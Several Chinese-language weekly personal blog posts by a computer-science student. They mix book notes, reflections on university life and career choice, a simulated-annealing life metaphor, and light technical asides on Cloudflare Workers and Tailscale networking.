比如关于立交桥。在接触这个游戏之前,在面对大城市的巨型立交桥的时候,我只能感觉到一种人类工业文明的力量感(类似坐民航客机的感觉),但是对其具体的逻辑是没有认知的。现在我才知道,立交桥的本质是避免道路交叉。在十字路口,每个方向车道有左转、直行、右转三种选择,而四个方向来的这些路线难免会交叉。为了解决这一问题,简单的解决方案是红绿灯或者环岛,但是这两种方案都需要车辆减速甚至停止等待,这在高速公路上是不可接受的。那么,在高速公路的交叉口,为了解决这一问题,可以通过精心设计的匝道连接,让每个车道左转、直行、右转都能直接到达对应车道。而为了避免交叉,这些匝道需要利用纵向立体空间,故名曰「立交桥」。知道了这一原理,所有看似复杂的立交桥在我眼里就不再是神秘的庞然大物了,我们甚至可以自己设计立交。

在游戏里最常见的是苜蓿叶立交和堆栈式立交。苜蓿叶最容易造,堆栈式就比较复杂,从上到下一共要分四层。下面就是我第一次手搓的堆栈式立交。虽然还是很堵……(其实我觉得最酷的是涡轮立交,但是太难造了)

第一次手搓的堆栈立交!

创造的过程本身就很令人兴奋。可以实践自己的各种关于城建的有趣想法。比如我在玩的城市取名「千岛市」,基于这样的理念:每个小区或者园区都是有相对的独立性的,可以将它们做成一小块一小块的岛屿,通过海上的高速公路连接。而许多功能分区也能建造成独立的岛屿,比如「文体中心岛」、「大学岛」、「航空岛」,每个岛都要修精致的环岛路和护岸!在「大学岛」我可以打造自己梦想的大学,要修一条环岛电车轨道(一直觉得电车很浪漫,估计是新海诚的电影给我的印象)。地铁轨道也可以修在海面之上,就像厦门一样!海上高速公路的交界,可以修建海上立交……太酷了!

游玩一个新的游戏,也是打开一个新的世界。

🎨 一些有设计感的官方网站鉴赏

一般来说,政府机构的官方网站都是很烂的。这并不是我国独有的现象,而是政府机构的性质决定的。然而网上冲浪的时候偶然能发现几个我觉得做得非常不错的政府机构官方网站,有些惊艳到我。

北京市政府:这个配图和色调实在是太漂亮了,第一眼看到就有一种既温暖又庄严的感觉。

芬兰旅游局:准确来说是芬兰旅游局开设的 Visit Finland 网站。这个网站风格非常现代,开屏是视频背景,而且加载完了有一个从黑色背景 fade-in 的效果。主标题是 slogan,「世界上最幸福的国家」。

芬兰旅游局网站

💬 Quotes

If you're not embarrassed by the first version of your product, you've launched too late.

—— Reid Hoffman

谨将此书译献给,一切有理想的现实主义者和有现实感的理想主义者!

—— 马基雅维利《君主论》(拿破仑批注版),刘训练译注

每个个体被定义与记住的,是与同类的不同点,而不是相同点。与所有其他人做一样的选择,就会收获与其他人一样的结果。

人生回首时,我们最后悔的大多数不是做了的事,而是没做的事,不是吗?同学们可以想想,几十年后你坐在壁炉边时,会希望今天的你做出怎样的决定,奔赴怎样的伟大可能。

—— 真格基金《写给更年轻的人

Just pirate it. If you still like it when you can afford it in the future, buy it then. Also don't forget to feel bad. ;)

—— @notch from Minecraft

📚 本周在读:《第一本经济学》、《童年的消逝》、《世上为什么要有图书馆》

《第一本经济学》。高中政治老师推荐的经济学教材,现在才开始读。本书介绍的许多知识其实高中政治必修一都学过,所以首先当作复习了。

本书补充的是经济学的全局视角,因为高中教材只是简单的入门,并且对许多问题避而不谈,这本书能带来更加全面的视角。本书介绍了市场经济、计划经济以及混合经济(包括种种干预措施和影响)。不过,显然本书偏向于支持纯粹市场经济,认为许多政府干预行为反而导致了经济萧条。

我们中学接受的教育都是所谓的「社会主义视角」,而我感觉看到的越来越多的书为我们补充了「资本主义视角」。比如《黑客与画家》《穷爸爸富爸爸》等等。前者认为,贫穷是由于资本的剥削压迫;后者则认为,贫穷是由于认知水平的低下,在一个相对公平的社会里,人可以抓住机遇、创造财富。

《童年的消逝》。将年纪小的人称为社会意义上的儿童并特殊地对待他们,即「童年」的概念,是人类特有的,也是最近几百年才形成的,在此之前,法律对儿童没有特殊对待,社会也不将儿童与成人区别开来(即没有「儿童」、「成人」的社会概念)。本书探究「童年」这一概念是如何产生的,并揭示:在当今时代,「童年」这一概念正在逐步消逝。

本书认为,活字印刷术的发明,是传播媒介的一大进步。从此,儿童需要学习才能掌握获取信息的方式,从而成人能够向儿童隐藏信息。而电视的发明,是传播媒介的一大反动(名词解释:反动,指违反历史发展方向),使得文化传播退化回 15 世纪还未发明活字印刷术的时代,即传播信息的渠道无需任何学习即可掌握。本书内核类似《娱乐至死》,只是作者讨论的角度聚焦于儿童这一概念。

《世上为什么要有图书馆》,超喜欢这本书。作者是一名文学领域的博士,来到西安市做文旅局挂职副局长,负责了西安市碑林区图书馆的建设。本书展示了体制内一些我从未接触过的东西,很新奇。也揭示了作为一名传统意义上的文人,是如何面对官场(体制内)各种荒诞的。其实在读的时候频繁有这样的感受:他们文学家,和我们「理科生」,看待世界的视角真不一样。

(其实真正让我对体制内工作完全劝退的一本小说是《沧浪之水》,非常推荐阅读)

下周见~

Weekly #4:阅读与人生自我设计

不知你发现了没有,每期 Weekly 的标题,都取自各个小标题其中的一个。这种行为有点像刘慈欣出版一本中短篇小说集,其中包含《流浪地球》这篇,然后小说集取名为《流浪地球》。我也不知道为什么,总之有些不明觉厉。

本周在忙一件很重要的事情,忙完了之后感觉特别累,所以放假了几天,导致本期 Weekly 延迟到今天才发。抱歉~

🌆 封面图:岳麓山电视塔

封面图:岳麓山电视塔

其实长沙是个巨大的迪厅。😁

🎬 中文和英文的电影命名

本周重温了皮克斯的《飞屋环游记》。才知道,这部电影的英文名居然就叫 Up

似乎有很多电影,英文电影名都是一个很简单的单词,言简意赅;而中译名却加上了丰富的内容。我能想到的就有:

  • Up ——《飞屋环游记》。直译「往上」。
  • Coco ——《寻梦环游记》。我最不理解,老奶奶 Coco 只是个配角,并没有完全参与故事主线呀!
  • Frozen ——《冰雪奇缘》。直译「冻住的」。
  • Tangled ——《魔发奇缘》。直译「纠缠不清的」。
  • Moana ——《海洋奇缘》。又是人名作电影名。以及迪士尼似乎很喜欢用「奇缘」。
  • Soul ——《心灵奇旅》。直译「灵魂」。
  • Cruella ——《黑白魔女库伊拉》。又是人名作电影名。
  • Leon ——《这个杀手不太冷》。这个属实是翻译太神了。

不难发现,英文名都比较抽象,虽然只有一个单词,但往往有双关或者多重含义,在电影中表达多种含义。比如 Tangled 既是说 Rapunzel 的头发纠缠不清,也是说电影讲述的故事纠缠不清;Frozen 不仅是 Elsa 的魔法能力,也是片头曲「Beware the frozen heart」揭示的她在隔阂解开之前内心的冰冷(这个片头曲实在是太草蛇灰线了)。

似乎在很多地方,英文的表达都抽象很多。比如某些词加 er 直接表达经常进行这一概念的主体,而中文则要根据实际意思,将其变换为「xx 者」、「xx 器」等,对该主体进行描述。

📚 阅读与人生自我设计

本周听了龚曙光老师的岳麓讲坛,主题是《阅读与人生自我设计》。

读的书越多,越喜欢阅读。因为我们的人生太有限,有太多我们体验不到的东西,而在书里可以看见。书籍能够让我们对这个世界建立足够的认知,以此规划我们的人生。

龚曙光老师提出,最重要的是要时刻保持清醒。要对时代的主潮有一个清醒的认识。他以他读到的《十九世纪文学主潮》为例(虽然我在查了之后发现这本书更常见的译名叫《十九世纪文学主流》,但是我觉得「主潮」这个词更酷)。龚曙光老师还举出了新文化运动的例子:面对新文化运动这样一场轰轰烈烈的革命,鲁迅就抓住这个机遇,创造白话文的新文体;而同时期的王国维则旗帜鲜明地反对,一心维护传统文化。他们做出了不同的决策,但是他们都对时代的主潮——新文化运动,有同样清醒的认知:新文化运动是要革传统文化的命的。他们的决定都是基于自己的清醒认知,而不是人云亦云。

换到现在,不管是选择就业、考研、保研、考公,我们都要对时代主潮有清醒的认识。这要求我们对世界和时代有足够的认识。而大多数人都不能做到这一点,而是出于迷茫或者父母逼迫来作出选择。

龚曙光老师说到「随缘式阅读」时谈到自己的经历,说自己 45 岁时才读到一本有关建筑设计的书,这才发现自己有多么喜欢这个领域。可惜读到这本书时他已经 45 岁了。如果能早一些读到这本书,他或许不会读中文系,不会成为一个作家,或许会成为一个建筑设计师!所以,一定要广泛阅读,不管什么领域的书都可以读。「任何书来到我们身边都是一种缘分。」此谓「随缘式阅读」。

想到我从小就对计算机有兴趣,从小学在爸妈开的超市里玩电脑,到中学参加 OI 训练和比赛,到大学选了计算机的专业。这一切是不是源于一种偶然,因为我小时候能轻易接触到的「世界」只有计算机的世界呢?如果我的父母是物理学科研人员,说不定我就会对物理学感兴趣;如果我的父母是法官或者检察官,我说不定就会对法学感兴趣……(本学期选了《西方法律思想史》的专选课程,就发现自己对法律很有兴趣)

换句话说,目前对计算机的兴趣,很可能是陷入了一个局部最优解。这告诉我,不能停止广泛的阅读。

本次讲座还涉及很多内容,可查看:讲坛回顾|龚曙光:阅读与人生自我设计。「人生自我设计」这个概念很酷。龚老师的青年时期在文革中度过,没什么书读;而我们在如今这个信息和知识丰富的时代,能够得到任何我们想要的书籍。上一代人在开启人生之前,没有条件形成足够的认识,所以没有条件设计自己的人生,被时代洪流裹挟着前进;而我们则足够幸运,有这样的机会,进行「人生自我设计」。

🔥 模拟退火算法与人生决策

上周提到的《How We Learn》这本书太有意思了。我们学了很多机器学习相关的理论,事实上这些算法都是科学家模拟人脑运行原理的尝试。通过这些算法的原理,我们能反过来理解我们大脑学习的原理。书中提到了 Gradient Decent 和模拟退火算法,仔细想想,这个算法其实能够应用于我们的人生决策。

我们的人生可以看成一个最优化过程。根据自己的兴趣和自己擅长的事情以及各条道路发展前景,选择自己的专业、职业并投入,获得最大化的收益。

我们大脑默认使用 Gradient Decent 梯度下降算法,容易陷入局部最优解。如前所述,或许我选择计算机领域作为我的目标,就是一个局部最优解。说不定有我更喜欢的、更感兴趣的领域,我没发现而已。

我们都学过,为了解决这一问题,尽量找到全局最优解,可以使用模拟退火算法。设定初始温度 $T_0$,缓慢降温,在温度 $T$ 下,找到当前状态 $x$ 的一个临近解 $x_1$,计算目标函数 $f(x_1)$,与 $f(x)$ 相比较,

  • 如果 $f(x_1)$ 更优或不变,则进入 $x_1$。
  • 如果 $f(x_1)$ 更劣,则以概率 $p=\exp(-\frac{\Delta E}{T})$ 进入 $x_1$,其中 $\Delta E = f(x_1)-f(x)$​。

也就是说,算法有概率走向更劣的状态;并且随着温度降低,选择更劣状态的概率降低。

在理论上,如果温度下降足够缓慢,则可以证明该算法以概率 1 收敛到全局最优解。在实际应用中,其实有较大概率找到全局最优解。

如果将我们的人生看作最优化过程,那么温度从一开始就是缓慢下降的,到死亡时(或者到事业的终点)降为 0。我们可以应用模拟退火算法的定性结论:所处阶段越早,越应该尝试更劣解;所处阶段越晚,越应该追逐更优解。所以,在年轻的时候应该多尝试新事物,这是能证明的更优决策。如果从现在就确定计算机领域是我一生追求的事业,这或许是非常不妥的。

当然,将这一模型比做我们的人生旅途,有诸多局限性。我能想到的有二:

  1. 没有考虑尝试成本。算法假设所有信息可知,对目标函数 $f(x)$ 的计算是不计成本的,然而我们的日常生活中任何的尝试都要计量成本,不管是时间、精力还是钱财;对于不同的人生阶段,某些尝试行为的成本也是不同的。
  2. 将人生视为最优化过程的前提,包含了价值一元论的假设。「价值一元论」假设所有价值都能被统一到一个维度上,即 如果确定了 $x$,人生中的目标函数 $f(x)$ 是可计算的。然而,事实并非如此。看《刘擎西方现代思想讲义》中提到,柏林提出了「多元价值的不可公度性」,认为不同的价值之间无法换算,冲突无法避免。

有一个有趣的推论:如果价值一元论成立的话,人生其实是有最优决策的。对任何决策选项都能计算得到价值,对于任何信息不足的选项或者概率事件,针对相应概率计算期望,选择期望价值最高的选项即可。这样看来,我们的人生也太没意思了。正因为人需要在个人与集体、生命与追求、现实与梦想这些不可调和(不可统一到同一个维度)的价值之间作出决策并承担后果,人生才充满刺激,如此精彩呀。

🤔 关于闲暇

在希腊语中,“学校”一词的意思是“闲暇”。这反映了一种典型的雅典式的信仰:他们认为闲暇时,一个文明人自然会花时间思考和学习。

——《童年的消逝》

突然觉得,可能是最近太闲了,才会写 Weekly。本周由于有别的某件事情要忙,导致这篇就延迟发布了。

现在的我们深居象牙塔,我又不热衷于卷成绩,暑期阶段性的 offer 也有着落了,所以能够拥有闲暇。这种闲暇给我阅读和学习的时间精力,让我能够思考和进步。然而,等以后进互联网大厂,如果要 996,我还有什么属于自己的时间可以学习和成长呢?

可以想像那样的生活每天都会很累。我甚至还有精力阅读吗?

这再次提醒我,剩下的在学校的时光是多么珍贵。我真希望能够从中学就开始广泛地阅读,只是当时我们一心准备竞赛和高考,我们在那一人生阶段是没有什么「决策空间」的,阅读建立的认知几乎无法产生收益。而当工作之后,996 的生活可能也不会给我们很多时间精力阅读。这样算下来,大学四年是唯一能够有时间精力广泛阅读的 gap。

这让我想起来 Twitter 上看到的一则言论,很有意思:

其实中国的大学本科四年很多都算是 gap 吧,水课多,考试难度低,可以有时间去探索自己。

✉️ 跨国邮政体验

新加坡华侨银行 OCBC 支持中国大陆用户在线开户。填写邮寄地址的时候,只能写英文,我就填写了学校寝室的英文地址。结果几封通知单居然真的寄到了寝室里,宿管阿姨给我打电话我才知道。

来自新加坡的信件

写的英文地址,邮递员翻译成了中文。因为姓名写的是英文拼音,邮递员写的是「吴田(音)」……

想到这封邮件漂洋过海来这里,居然还能找到我,好神奇。

💬 Quotes

收藏一些有意思或者引人深思的言论。

R.I.P TO THE OPPORTUNITIES WE MISSED
BECAUSE OF SHYNESS & LOW SELF ESTEEM.

—— Words from Twitter

屈原爱国是有十足动机的,他家世代都是楚国的重要股东。

—— 熊逸《如何读懂古典文学》,via《核电站:端午小知识:屈原真的叫屈原

📚 本周在读:《超越百岁》

《超越百岁》介绍普及医学知识,帮助我们维持健康和长寿。本书提出「医学 3.0」的概念,相比目前「医学 2.0」的循证医学、对症下药、有病治病的模式,「医学 3.0」要求我们每个人掌握一定的医学知识,主动管理自己的健康,从源头上防止慢性病的发展。

作者的职业经历也很神奇,在医学院放弃学业后前往麦卡锡工作,多年后回到医学领域,将投资领域的思维模式运用在医学中。很有意思。

下周见!

Weekly #3:写博客的目的

在我看来,驱动我们人类向前的东西中,真正有价值的不是国家,而是有创造性的、有情感的个人,是人格。只有个人才能造就高尚和尊贵,而随大流的人群在思想和感觉上都是迟钝的。

—— 爱因斯坦《我的世界观》

🌆 封面图:夏天的云

封面图:夏天的云

夏天独有的粉红色的云。

👔 衣物收纳方案

本月底就要前往杭州,租的房子也马上要到期了。是时候做好搬家的准备了。

由于衣服太多,之前总是懒得整理,因为总是不想面对这种繁琐的局面。冬装由于很厚,不知道怎么收纳,只能挂在衣柜里,非常占地方。于是,在 b 站上找到了这个视频:教你 9 种冬装收纳技巧,整齐漂亮省空间,再多厚衣服也不怕

本视频提出的所有衣物收纳方案,其实可以归纳为两种:对于上衣(外套、羽绒服、卫衣等),将衣服上部分装入下 1/3 部分外翻形成的袋子,形成稳定的结构;对于长裤,将其横向卷起,塞入一条裤腿的 1/2 部分外翻形成的袋子,形成稳定结构。相比传统将衣服折叠起来收纳的方案,其创新点在于:通过这种方式收纳衣物之后,衣物都会形成稳定的结构,即使有扰动也不容易散架。这种方法太好了!

此外,我还要强烈推荐「真空收纳袋」,即可以抽真空的衣物收纳袋,最好配合电动的抽气泵。将衣服装进收纳袋并抽出空气,这么做的意义不仅在于减小体积,更大的优势是能让抽真空后的袋子变硬,达到一种稳定的状态。

结合以上两点,不仅衣物本身达到了稳定的状态,收纳袋的形态也能达成稳定的状态,非常方便搬运、寄件、存放。

之前提到了无状态 Stateless 的优雅性,我们应该对所有使用的应用进行显式的状态管理。其实,对各种东西进行收纳,是一种对生活的状态管理,良好的收纳能够解除生活与住所之间的耦合性。现在的我们或是住在宿舍,或是租房,处于实际上「居无定所」的状态,确定和管理归属于我们本身的「state」,至关重要。

此外,还有一个很好奇的地方:该视频的 up 主「妙招姐」的团队,是个专门制作「生活妙招」视频的团队,虽然看起来像营销号,但其实每期内容都比较有质量。比如这期衣物收纳,他们说这个方法之前,我自己根本想不到。他们是如何高效产出这样的内容的呢?是从什么其他信息源获取的吗?可是我在网上其他地方也没找到类似的衣服收纳方案。难道是确定一个选题之后,所有团队成员苦思冥想「衣物收纳方法」头脑风暴个几天吗?

🙏 赛博菩萨 Cloudflare

本周通过 Cloudflare Workers 部署了 GitHub 文件资源访问加速服务:gh.skywt.net。由于众所周知的原因,经常遇到 GitHub 访问受阻的问题,而在陌生的或临时使用的机器,或者新开起来的虚拟机或容器内,配置代理软件并不是一件特别容易和方便的事情。这个「Web 代理」能够提供一个临时性的解决方案。项目源码

项目其实 fork 自我一直在用的 gh-proxy。我研究了一下其原理,并重构了部分源码。高中的时候就用过类似的服务了,当时以为这个很复杂。现在的我看这个源码,原来这么简单。

同时了解和学习了 Cloudflare Workers。再一次体验到了 Serverless 的便捷和优雅,更体会到了 Cloudflare 的菩萨心肠 😭……普通用户每天 10 万请求免费,可以说非常慷慨了。

推荐阅读:《吊打公有云的赛博佛祖 Cloudflare》。Cloudflare 的恩情还不完!!!😭

虽然我一直在倡导下云理念,但如果是上 Cloudflare 这样的赛博菩萨云,我举双手赞成。

利益相关:CF 没给我钱,我倒是给 CF 付了钱。纯粹是 CF 产品非常出色,极好地解决了我的需求,我非常乐意付点费支持一下,并告诉更多朋友有这项福利。与之相反,我付钱给传统公有云厂商之后的感受是,这做的都是什么玩意,我必须写文章狠狠地骂他们,才能缓解内心的精神损失。

赛博菩萨 Cloudflare 圆桌访谈与问答录》中指出,「Cloudflare 有着相当独特的商业模式 —— 免流量费,靠安全赚钱。」

似乎国外的许多大厂都非常慷慨,Google Cloud、AWS、Cloudflare、Vercel 等等都有大量的免费额度,也有诸如 1.1.1.1 这类网络基础设施,供全球海量用户免费使用。而国内顶尖的大厂,却很少如此慷慨:买个服务器叠加一堆优惠券还不如国外便宜,提供的镜像站、DNS 也动不动就停止运营……

📜 一份载入史册的杰出判决书

上节《西方法律思想史》课后,老师给我们分享了这个载入史册的杰出判决书。说实话,看了之后,有些颠覆我对司法的印象。

检察院提起公诉,认为被告人:

  1. 酒后驾驶摩托车,酒精含量达到醉酒标准;
  2. 无摩托车驾驶证,属于无证驾驶;
  3. 已经认罪认罚。

综上,检察院建议「判处被告人何某拘役一个月,并处罚金」。

然而,法院认为:

  1. 当事人虽然酒精含量达到醉酒标准,但事实并未影响驾驶(不同人对酒精的耐受能力不同);当事人独自一人夜里在无人街道上驾驶,也没有危害公共安全,也不属于危险驾驶;
  2. 当事人老家在农村,大家普遍没有考取驾驶证的习惯;当事人已有数十年摩托车驾驶经验,且持有 C1 驾驶证,有驾驶更简单的摩托车的能力;
  3. 从社会效果角度,疫情当下,民生艰难,当事人如果被判拘役和罚金,则难免让人同情。

最终法院宣判当事人无罪

说实话,这非常颠覆我关于司法的印象。以前认为,法官是类似「自动机」的角色,即纯粹以法律法规、司法解释等为依据作出判决,相当于这些资料是「算法」,法官只是算法的执行官。事实上,这就是典型的实证主义法学,即研究法律本身,不关心其哲学基础、与社会的关系等。这是一种「法律内部视角」。

窥见法学的世界全景后,会发现这种视角只是冰山一角。

再一次体会到所谓「隔行如隔山」,也很幸运能够看见这个新的广阔世界。

📱 我对社交媒体的看法

我大概已经一两个月没看朋友圈和 QQ 空间了。这并不是我一直以来的习惯,而是我充分考虑后的决策。

以前是很喜欢看和发微信朋友圈、QQ 空间的,认为这是我们表达自我、分享生活的渠道。诚然,表达自我、分享生活本身没有问题,但是我们的精力是多么有限,真正值得我们关注的人和事,少之又少。朋友圈和空间展示的是所有好友的动态,大多数都是我不熟的朋友分享的生活里的鸡毛蒜皮,大多数无聊至极,我并不关心。而如果真正想要关心和自己玩的好的朋友最近的生活,没有比一起吃个饭聊聊天更好的方式,而不是通过朋友圈这样充斥着精心打造的人设的平台。

《为什么精英都是时间控》这本书里提到,相比时间管理,更重要的是精力管理。身处信息爆炸的时代,每天都有无数的信息输入在蚕食我们的精力。所以,对每天输入我们脑海的信息进行把握,对于我们每天更高效的学习生活而言,是至关重要的。而朋友圈这类没有价值的信息,就没有必要来占据我们日常的精力了。

其实,我们会发现一个令人惊讶的事实:我们生活方式中的很大一部分,比如发朋友圈、刷视频等等,都是近 10 年才出现的。但凡是 10 年以前人们的生活,都不存在朋友圈这样的东西。那才是自然状态的生活。我们如今的生活,其实严重地被微信这样的产品异化了。

除了朋友圈以外,我也卸载了手机上所有娱乐性质的社交媒体,包括小红书、b 站、酷安等。基于以下的考虑。

我认为,一般而言,刷社交媒体的行为有两种目的:1)获取信息;2)娱乐消遣。这两种目的是不能混淆的。

对于获取信息,我主要是用 RSS。我最讨厌根据兴趣推荐的无限信息流,那些工具往往会让人沉迷其中,丧失主动性,蚕食人的时间和注意力。一切商业化的获取信息的软件,设计的目的都在于此。而 RSS 真是个伟大的发明,结合我自己部署的 RSSHubWeWeRSS,一切信息流皆可 RSS,皆可被我们控制。这才是获取信息的最完美形态。

对于娱乐消遣,我倾向于使用连续的时间进行高质量的娱乐活动。比如看个电影。如果要刷 b 站,iOS / iPadOS / macOS 提供的「屏幕使用时间」功能也可以很好地阻止我们沉迷。(用 Apple 生态很好的一点是,macOS 上的 Safari 里的 bilibili 网页版,和 App 的限制是联动的)

✍️ 写博客的目的

博客文章可以分为两种:技术博客和生活博客。技术博客就是写最近学的东西;生活博客(如本篇)就是记录生活中发生的事情和一些思考。

技术博客的目的很简单,如上周「基于 Tailscale 搭建『个人网络基础设施』的尝试」中提到,博客首先是提升自己认知能力的工具。这也是对所谓「费曼学习法」的实践,即「教会别人一个知识,才算自己学懂了这个知识」。其实也能从《卡片笔记写作法》中提到的「必要难度 Desirable Difficulty 理论」得到印证:人的记忆的存储强度 Storage Strength 和提取强度 Retrieval Strength 是负相关的关系,即存储知识越困难,提取知识越容易。

而对于生活博客,这是我最近几周才开始写的。其主要意义在于提供一个表达和与人交流的平台。

人在与人交流的时候,会释放某些激素,从而调节情绪(忘了这是哪里看到过的理论了,不过大概是这个意思)。这就是为什么我们需要与人交流,否则如果长期独居、独处则会导致情绪压抑。与人交流是生活的必需。

然而,和别人线下聊天,有两个问题:1)沟通是即时的(即「同步的」),留给思考的内存有限,往往很难有特别深度的交流,也有很多东西无法充分表达出来;2)面对不同的人,对于不同的性格,适合交流的话题是不同的,在交流的时候需要考虑另一方的个性情况,这会带来额外的心智负担(尤其作为 INFJ……)。虽然我也挺喜欢和别人线下聊天,不过这种方式有时无法完全解决我们与人交流的需求。

博客能够作为一种交流工具,解决上述的两个问题。首先,博客是一种「异步沟通」,在撰写的时候能够充分思考;其次,撰写的时候也可以专注于表达本身,而不是想象阅读者的状态。

所以,我还是希望自己能坚持写博客。

📚 本周在读:《How We Learn》、《我的世界观》

  • 《How We Learn》,中译《精准学习》。搞不懂为什么译者要自作聪明取一个不一样的中文书名,因为本书介绍的就是 how we learn,即我们人类是如何学习的。本书的独特之处在于,用机器学习的机制来解释人脑的学习机制。机器学习领域在越来越能够模拟人脑学习机制的同时,也为人脑的学习机制提供了一种清晰的解释方式(清晰指的是能够用算法描述)。对于有些了解机器学习的我们计算机专业学生来说,非常友好。
  • 《我的世界观》,爱因斯坦。我曾以为顶尖的科学家大多都是一心扑在自己领域的 nerd,事实上很多站在科学顶端的科学家,对各个领域乃至整个世界都有完整和体系化的思考。比如最近在看的李飞飞、爱因斯坦。看别人的传记,能够看到别人看待世界的方式和思考的方式。在许多地方,也能发现自己在和伟大的灵魂共鸣。

下周见。

Weekly #2:大学生活的一点点遗憾

🌆 封面图:滕王阁

南昌滕王阁

这周去了南昌玩!

🏫 大学生活的一点点遗憾

周二晚上去隔壁中南大学逛了逛。在一个陌生的、真正的大学校园里,静谧的夜晚,宽阔的马路上一个人都没有,远处的教学楼窗户里发出暖黄色的灯光。

恍惚之间,我会有一种感觉:或许某个平行世界的我,会在这样一所大学里,过上小时候想象中的大学生活。

中南大学的校园

(并不是因为中南大学就比 HNU 好,我一直不十分在意所谓的大学排名;只是这种陌生的大学校园,给了我一些想象的空间

大学,在我曾经的理解里,是一个充满活力的地方,在这里能找到一群有意思的人,一起做一些有意思的事情。然而,事实是,身边的大多数同学都忙着考研、考公或者卷成绩保研,仿佛一只只碌碌无为的蚂蚁,即使有空闲也将大多数时间花在平庸无聊的娱乐活动上,很少遇到真正有想法、有意思的人;这三年我自己也没做什么有意思的事。如果要细数的话,我觉得去年夏天当迎新班导的经历,或许是我做过的最有意思的事之一。

不知道这是我的大学本身不够好,还是这个时代的风气就是如此。每每在这样的环境里感到无聊,只能从一些书籍中与有趣和伟大的灵魂交流。从书中,也能看到一些世界顶尖高校里学生的学习生活,他们是多么有想法,他们的生活是多么有趣,多么充满激情!

大学,在我曾经的印象里,应该是一个传授「大行之道」的地方。在读到《浪潮之巅》介绍的「纽曼式大学」的时候,我真心觉得这就是大学应该成为的样子:学生应该相互学习,自由发展;大学应该传授「大行之道(Universall Knowledge)」,而非「雕虫小技」(书中继而介绍了斯坦福大学,着实令人羡慕)。然而,现实是,大学里的所有通识课程充斥着大量照本宣科的思想政治,几乎没有一点营养;至于专业课,则大多老师教的都是「雕虫小技」,念 PPT,读概念,讲政治,做题。很少能听到老师们对于专业、行业的宏观理解。

这导致我不知道去上课有什么意义:有的老师上课的内容就是把一些知识详细地给我们讲一遍,连 XSS、SQL 注入这些东西居然都要上课讲,明明网络上有大量的学习资源,自己实践才是最好的学习方式,根本没必要来上课。退一万步说,网络上也有相同内容的、质量好一万倍的名牌大学课程,都可以免费参与。那么我为什么要赶这么远的路,到教室里去听课呢?我来上课自然是希望听到一些自学学不到的东西,或许是所谓的「大行之道」,或许是对专业、行业的理解,或许是从他们的视角看到的对这个世界的理解,这种理解处于我们本科生达不到的 level。然而,能听到这些内容的课(即我觉得值得上的课),很少。

(这或许也是和大多数同学的学习能力相适应的吧。身边太多同学,都是老师教什么就学什么,老师不教就不知道自己学,老师上课让回去自学某些知识,还屡遭吐槽。不过每个人成长的背景、形成的习惯和观念不同,我无法评判。)

所以,有点遗憾没能经历我想要的大学生活。

(不过纵使如此,我还要感谢 HNU,感谢她自由和人性化的行政和管理、开放的校园、便捷的地理位置,特别是疫情三年的优良体验。我相信这一切已经打败全国 90% 的大学了,我已经很幸运了……)

🌐 基于 Tailscale 搭建「个人网络基础设施」的尝试

上周了解了 Tailscale 的 NAT 穿透原理,并搭建和配置了 Headscale 实现了虚拟组网。

然而,在实际使用上遇到了这个问题:在 iOS / iPadOS 上,系统限制不能同时启用两个 VPN 软件。这意味着,开启了 Tailscale 就必须关闭其他用于众所周知的目的的软件,「访问 VPN 中的其他设备」和「访问国际互联网」这两个需求不能共存。

如果有这样一种配置方式,使得我在设备上连接上 VPN 之后,既能够访问 VPN 中我的其他设备,又能访问国际互联网,同时达成这两个目的,那该多好!这样不仅解决了上述问题,我在任何客户端主机上需要进行的配置也大大简化了,本来要配置 Tailscale + 代理软件,现在只要配置 Tailscale 即可。

使用 Tailscale 实现这一目的是有可能的。

Tailscale 提供了 exit node 的功能。如果主机 A 将 VPN 中的一个结点 B 设置为 exit node 之后,A 节点所有访问外部网络的流量都要经过 B 进行转发。那么,通过 B 节点上恰当的配置,我们实际上是可以在 B 上实现类似透明代理的功能,即在 B 上安装代理软件,将经过 B 的所有流量转发给代理软件进行分流。这样,只要将所有客户端中的 exit node 设置为 B,就能实现前述目的。

这整套东西很酷!几乎满足了我对网络访问的所有需求。所以,我想了一个很酷的名字:「个人网络基础设施」。

以上的配置涉及到 Tailscale 的原理,以及 iptables 的配置,要学的东西还挺多。改天如果能够成功实现,写篇博客。😁

其实,我已经积攒了很多篇写了一半的博客。之所以没有发出来,是因为我认为它们其实没有达到我对自己博客内容质量的要求。折腾这些东西的目的是让它们成功跑起来,而写博客的目的是将它们讲清楚。后者的要求比前者要高不少,而我有时往往止步于前者「成功跑起来」这一目的。比如配置 PVE 核显直通,很多配置我并没有搞清楚具体是什么意思,然而配置了就成功跑起来了。要写成博客,还得进一步地学习。最近看到《Write For Others But Mostly For Yourself》中认为,由于想到他人会阅读自己的博客,写作过程中不得不将知识抽丝剥茧、深入理解。启动「internal BS detector」。所以,博客首先是提升自己认知能力的工具。

🚗 拿显微镜看《狂飙》

本周看了 b 站 up 主「食影双修」的《狂飙》系列解析。这才意识到以前看《狂飙》的时候,很多存在疑虑的点,都是主创隐藏的暗线。非常推荐观看!

《狂飙》这部剧,为了过审,删改了大量情节,进行了大量重新配音(独立声卡),真的太可惜了。按照原来的剧本,应该全程都会是很精彩的剧。不过这删减本身,似乎也成了一种展现当下创作环境的行为艺术……😅

下面是我超级喜欢的一张剧照。背景的暗红色不仅有政治意涵,更给人一种压抑和恐怖之感。

《狂飙》人物:赵立冬

🍲 你不知道的海底捞!

在海底捞,留下了很多令我印象深刻的体验。而从服务业的角度来说,这些体验或许可以说是令人震撼。

本周心血来潮看了《海底捞你学不会》这本书。本书作者深度采访了从海底捞基层员工、公司高管到创始人张勇等一系列人员,尝试揭开海底捞的秘密。这本书成书于 2011 年,现在已经过了 13 年,海底捞依然是长盛不衰、广受欢迎的火锅品牌。

一直以来,我以为海底捞是「巨头资本用最先进的管理理念打造的品牌」。然而本书讲述的事实是,海底捞是草根起家,创办时只有 8000 元的资本和北京的第一家店,总裁张勇是个电焊工。

其实最神奇的一点是,对人性化、个性化的服务的要求,和对连锁餐饮规范化、流程化的要求,是相互矛盾的。海底捞是如何同时做到这两点的呢?(肯德基有一本厚厚的服务员规范手册,然而你一定体验过肯德基某些服务员态度并不好的现象)

海底捞的管理,反而用的是中国传统文化里的儒家理念,极其重视员工的集体认同,尊重每个员工。如孟子所言:

食而弗爱,豕交之也;爱而不敬,兽畜之也。

君之视臣如手足,则臣视君如腹心;君之视臣如犬马,则臣视君如国人;君之视臣如土芥,则臣视君如寇仇。

